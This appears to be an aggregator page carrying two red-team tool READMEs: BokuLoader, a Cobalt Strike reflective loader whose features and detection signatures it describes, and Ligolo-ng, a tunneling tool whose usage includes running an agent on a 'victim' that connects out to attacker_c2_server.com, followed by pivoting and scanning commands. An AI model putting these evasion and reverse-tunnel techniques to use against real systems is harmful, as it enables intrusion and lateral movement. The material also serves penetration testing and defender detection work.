BokuLoader - A Proof-Of-Concept Cobalt Strike Reflective Loader Which Aims To Recreate, Integrate, And Enhance Cobalt Strike's Evasion Features!

A proof-of-concept User-Defined Reflective Loader (UDRL) which aims to recreate, integrate, and enhance Cobalt Strike's evasion features!

Contributors:

UDRL Usage Considerations

The built-in Cobalt Strike reflective loader is robust, handling all Malleable PE evasion features Cobalt Strike has to offer. The major disadvantage to using a custom UDRL is Malleable PE evasion features may or may not be supported out-of-the-box.

The objective of the public BokuLoader project is to assist red teams in creating their own in-house Cobalt Strike UDRL. The project aims to support all worthwhile CS Malleable PE evasion features. Some evasion features leverage CS integration, others have been recreated completely, and some are unsupported.

Before using this project, in any form, you should properly test the evasion features are working as intended. Between the C code and the Aggressor script, compilation with different versions of operating systems, compilers, and Java may return different results.

Evasion Features

BokuLoader Specific Evasion Features

• Reflective callstack spoofing via synthetic frames.
• Custom ASM/C reflective loader code
• Indirect NT syscalls via HellsGate & HalosGate techniques
• All memory protection changes for all allocation options are done via indirect syscall to NtProtectVirtualMemory
• obfuscate "true" with custom UDRL Aggressor script implementation.
• NOHEADERCOPY
• Loader will not copy headers raw beacon DLL to virtual beacon DLL. First 0x1000 bytes will be nulls.
• XGetProcAddress for resolving symbols
• Does not use Kernel32.GetProcAddress
• xLoadLibrary for resolving DLL's base address & DLL Loading
• For loaded DLLs, gets DLL base address from TEB->PEB->PEB_LDR_DATA->InMemoryOrderModuleList
• Does not use Kernel32.LoadLibraryA
• Caesar Cipher for string obfuscation
• 100k UDRL Size
• Import DLL names and import entry name strings are stomped in virtual beacon DLL.

Supported Malleable PE Evasion Features

Test

• (2/22/23) All 4 allocator methods tested with threatexpress/malleable-c2/master/jquery-c2.4.7.profile

Project Origins

• Based on Stephen Fewer's incredible Reflective Loader project:
• https://github.com/stephenfewer/ReflectiveDLLInjection
• Initially created while working through Renz0h's Reflective DLL videos from the Sektor7 Malware Developer Intermediate (MDI) Course

Usage

1. Compile the BokuLoader Object file with make
2. Start your Cobalt Strike Team Server
3. Within Cobalt Strike, import the BokuLoader.cna Aggressor script
4. Generate the x64 beacon (Attacks -> Packages -> Windows Executable (S))

5. Use the Script Console to ensure BokuLoader was implemented in the beacon build

6. Does not support x86 option. The x86 bin is the original Reflective Loader object file.

7. Generating RAW beacons works out of the box. When using the Artifact Kit for the beacon loader, the stagesize variable must be larger than the default.
8. See the Cobalt Strike User-Defined Reflective Loader documenation for additional information

Detection Guidance

Hardcoded Strings

• BokuLoader changes some commonly detected strings to new hardcoded values. These strings can be used to signature BokuLoader:

Memory Allocators

DLL Module Stomping

• The Kernel32.LoadLibraryExA is called to map the DLL from disk
• The 3rd argument to Kernel32.LoadLibraryExA is DONT_RESOLVE_DLL_REFERENCES (0x00000001)
• the system does not call DllMain
• Does not resolve addresses in LDR PEB entry as detailed by MDSec here
• Detectable by scanning process memory with pe-sieve tool

Heap Allocation

• Executable RX or RWX memory will exist in the heap if sleepmask kit is not used.

Mapped Allocator

• The Kernel32.CreateFileMappingA & Kernel32.MapViewOfFile is called to allocate memory for the virtual beacon DLL.

Sleepmask Detection

• If sleepmask kit is used, there exists detection methods for this independent memory allocation as detailed by MDSec here

Indirect Syscalls

• BokuLoader calls the following NT systemcalls to setup the loaded executable beacon memory: NtAllocateVirtualMemory, NtProtectVirtualMemory
• These are called indirectly from the BokuLoader executable memory.
• Setting userland hooks in ntdll.dll will not detect these systemcalls.
• It may be possible to register kernelcallbacks using a kernel driver to monitor for the above system calls and detect their usage.
• The BokuLoader itself will contain the mov eax, r11d; mov r11, r10; mov r10, rcx; jmp r11 assembly instructions within its executable memory.

Virtual Beacon DLL Header

• The first 0x1000 bytes of the virtual beacon DLL are zeros.

Source Code Available

• The BokuLoader source code is provided within the repository and can be used to create memory signatures.
• If you have additional detection guidance, please feel free to contribute by submitting a pull request.

Credits / References

Reflective Call Stack Spoofing

• LoudSunRun: Call stack synthetic frame spoofer with indirect syscalls
• SilentMoonwalk: PoC Implementation of a fully dynamic call stack spoofer
• Vulcan Raven: PoC implementation for spoofing arbitrary call stacks when making syscalls
• CallStackMasker: A PoC implementation for dynamically masking call stacks with timers
• ThreadStackSpoofer: Thread Stack Spoofing PoC
• Behind the Mask: Spoofing Call Stacks Dynamically with Timers

Reflective Loader

• https://github.com/stephenfewer/ReflectiveDLLInjection
• Checkout these videos if you're interested in Reflective DLL:
• Dancing with Import Address Table (IAT) - Sektor 7 MDI Course
• Walking through Export Address Table - Sektor 7 MDI Course
• Reflective Injection Explained - Sektor 7 MDI Course
• ReflectiveLoader source review - Sektor 7 MDI Course
• TitanLdr
• AceLdr
• KaynLdr

HalosGate SysCaller

• Reenz0h from @SEKTOR7net
• Checkout Reenz0h's awesome courses and blogs!
• Best classes for malware development I have taken.
• Creator of the halos gate technique. His work was initially the motivation for this work.
• Sektor7 HalosGate Blog

HellsGate Syscaller

• @smelly__vx & @am0nsec ( Creators/Publishers of the Hells Gate technique )
• Could not have made my implementation of HellsGate without them :)
• Awesome work on this method, really enjoyed working through it myself. Thank you!
• https://github.com/am0nsec/HellsGate
• Link to the Hell's Gate paper: https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf

Aggressor Scripting

• sinusoid @the_bit_diddler : returnIntegerFromArray

Cobalt Strike User Defined Reflective Loader

• https://www.cobaltstrike.com/help-user-defined-reflective-loader

Great Resource for learning Intel ASM

• Pentester Academy - SLAE64

ETW and AMSI Bypass

• @anthemtotheego inline-ExecuteAssembly
• @mariuszbit - for awesome idea to implement bypasses in reflective loader!
• @XPN Hiding Your .NET – ETW
• ajpc500/BOFs
• Offensive Security OSEP

Implementing ASM in C Code with GCC

• https://outflank.nl/blog/2020/12/26/direct-syscalls-in-beacon-object-files/
• https://www.cs.uaf.edu/2011/fall/cs301/lecture/10_12_asm_c.html
• http://gcc.gnu.org/onlinedocs/gcc-4.0.2/gcc/Extended-Asm.html#Extended-Asm

Cobalt Strike C2 Profiles

• Tylous's epic SourcePoint project
• threatexpress/malleable-c2/jquery-c2.4.7.profile

Ligolo-Ng - An Advanced, Yet Simple, Tunneling/Pivoting Tool That Uses A TUN Interface

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

Features

• Tun interface (No more SOCKS!)
• Simple UI with agent selection and network information
• Easy to use and setup
• Automatic certificate configuration with Let's Encrypt
• Performant (Multiplexing)
• Does not require high privileges
• Socket listening/binding on the agent
• Multiple platforms supported for the agent

How is this different from Ligolo/Chisel/Meterpreter... ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

As an example, for a TCP connection:

• SYN are translated to connect() on remote
• SYN-ACK is sent back if connect() succeed
• RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
• Nothing is sent if timeout

This allows running tools like nmap without the use of proxychains (simpler and faster).

Building & Usage

Precompiled binaries

Precompiled binaries (Windows/Linux/macOS) are available on the Release page.

Building Ligolo-ng

Building ligolo-ng (Go >= 1.20 is required):

$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go

Setup Ligolo-ng

Linux

When using Linux, you need to create a tun interface on the Proxy Server (C2):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up

Windows

You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).

Running Ligolo-ng proxy server

Start the proxy server on your Command and Control (C2) server (default port 11601):

$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

TLS Options

Using Let's Encrypt Autocert

When using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.

Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval

Using your own TLS certificates

If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.

Automatic self-signed certificates (NOT RECOMMENDED)

The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.

The -ignore-cert option needs to be used with the agent.

Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

Using Ligolo-ng

Start the agent on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker_c2_server.com:11601

If you want to tunnel the connection over a SOCKS5 proxy, you can use the --socks ip:port option. You can specify SOCKS credentials using the --socks-user and --socks-pass arguments.

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Display the network configuration of the agent using the ifconfig command:

[Agent : nchatelain@nworkstation] » ifconfig 
[...]
┌─────────────────────────────────────────────┐
│ Interface 3                                 │
├──────────────┬──────────────────────────────┤
│ Name         │ wlp3s0                       │
│ Hardware MAC │ de:ad:be:ef:ca:fe            │
│ MTU          │ 1500                            │
│ Flags        │ up|broadcast|multicast       │
│ IPv4 Address │ 192.168.0.30/24             │
└──────────────┴──────────────────────────────┘

Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.

Linux:

$ sudo ip route add 192.168.0.0/24 dev ligolo

Windows:

> netsh int ipv4 show interfaces

Idx     Mét         MTU          État                Nom
---  ----------  ----------  ------------  ---------------------------
 25           5       65535  connected     ligolo

> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]

Start the tunnel on the proxy:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation   

You can now access the 192.168.0.0/24 agent network from the proxy server.

$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.

[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!            

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : nchatelain@nworkstation] » listener_list 
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                              │
├───┬─────────────────────────┬─────   ───────────────────┬────────────────────────┤
│ # │ AGENT                   │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────&   #9508;
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234           │ 127.0.0.1:4321         │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘

[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.                             

Demo

Does it require Administrator/root access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported protocols/packets

• TCP
• UDP
• ICMP (echo requests)

Performance

You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[  5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  12.5 MBytes   105 Mbits/sec    0    164 KBytes       
[  5]   1.00-2.00   sec  12.7 MBytes   107 Mbits/sec    0    263 KBytes       
[  5]   2.00-3.00   sec  12.4 MBytes   104 Mbits/sec    0    263 KBytes       
[  5]   3.00-4.00   sec  12.7 MBytes   106 Mbits/sec    0    263 KBytes       
[  5]   4.00-5.00   sec  13.1 MBytes   110 Mbits/sec    2    134 KBytes       
[  5]   5.00-6.00   sec  13.4 MBytes   113 Mbits/sec    0    147 KBytes       
[  5]   6.00-7.00   sec  12.6 MBytes   105 Mbits/sec    0    158 KBytes       
[  5]   7.00-8.00   sec  12.1 MBytes   101 Mbits/sec    0    173 KBytes       
[  5]   8.   00-9.00   sec  12.7 MBytes   106 Mbits/sec    0    182 KBytes       
[  5]   9.00-10.00  sec  12.6 MBytes   106 Mbits/sec    0    188 KBytes       
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec   127 MBytes   106 Mbits/sec    2             sender
[  5]   0.00-10.08  sec   125 MBytes   104 Mbits/sec                  receiver

Caveats

Because the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.

Todo

• Implement other ICMP error messages (this will speed up UDP scans) ;
• Do not RST when receiving an ACK from an invalid TCP connection (nmap will report the host as up) ;
• Add mTLS support.

Credits

• Nicolas Chatelain <nicolas -at- chatelain.me>